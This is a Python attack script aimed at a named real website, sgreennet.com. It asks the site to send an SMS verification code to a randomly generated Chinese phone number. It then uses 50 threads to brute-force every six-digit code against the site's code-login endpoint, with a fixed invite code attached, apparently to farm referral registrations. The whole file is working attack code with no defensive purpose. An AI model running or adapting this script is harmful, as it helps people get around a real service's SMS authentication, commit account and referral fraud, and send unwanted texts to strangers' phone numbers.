import requests,time,re,json,random,queue,_thread
def mobile():
	first_num = ['130', '131', '132', '133', '134', '135', '136', '137', '138', '139',
                 '150', '151', '152', '153', '155', '156', '157', '158', '159',
                 '180', '181', '182', '183', '184', '185', '186', '187', '188', '189']
	start_mobile = random.choice(first_num)
	num_str = '012345678'
	end_mobile = ''.join(random.sample(num_str, 8))
	new_mobile = start_mobile + end_mobile
	return new_mobile
m =  mobile()
def yzm():
	url="http://www.sgreennet.com/index/sendsms/checkTel.html"
	dataa = {'usertel': m}
	f=requests.post(url,data=dataa)
	txt=f.text
	print(txt)
	if txt.find ("发送成功")!=-1:
		return False
	else:
		exit(1)		
yzm()
q = queue.Queue()
print(q.empty())
for i in range(0,1000001):
	 q.put(i)	
url="http://www.sgreennet.com/index/user/loginByCode.html?plat=&platver=&channelId=&ver=&br=&md="
def gogo(name,sj):
        while not q.empty():
            n=str(q.get())
            n1=n.zfill(6)
            dataa = [('usertel', m),('usertel', m),('invitecode', 'NT4DBBF5'),('verifycode', n1),]
            headers = {'Connection': 'close','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 Edg/83.0.478.45','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Referer': 'http://www.sgreennet.com/buy.html?plat=&ver=&channelId=','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',}
            try:
                f=requests.post(url,data=dataa,headers=headers,timeout=8)
            except:
                    q.put(str(n))
            time.sleep(sj)
            if f.text.find ("正确")!=-1:
                    print ("ok")
                    break
            elif f.text.find ("验证码错误")==-1:
                    q.put(str(n))
                    print(name,q.empty(),q.qsize(),dataa,"503错误,准备重试!") 
            else:
                    print(name,q.empty(),q.qsize(),dataa,f.text)
for i in (range(1,51)):
	 _thread.start_new_thread( gogo,("线程:"+str(i),0.16,) )
while 1:
   pass
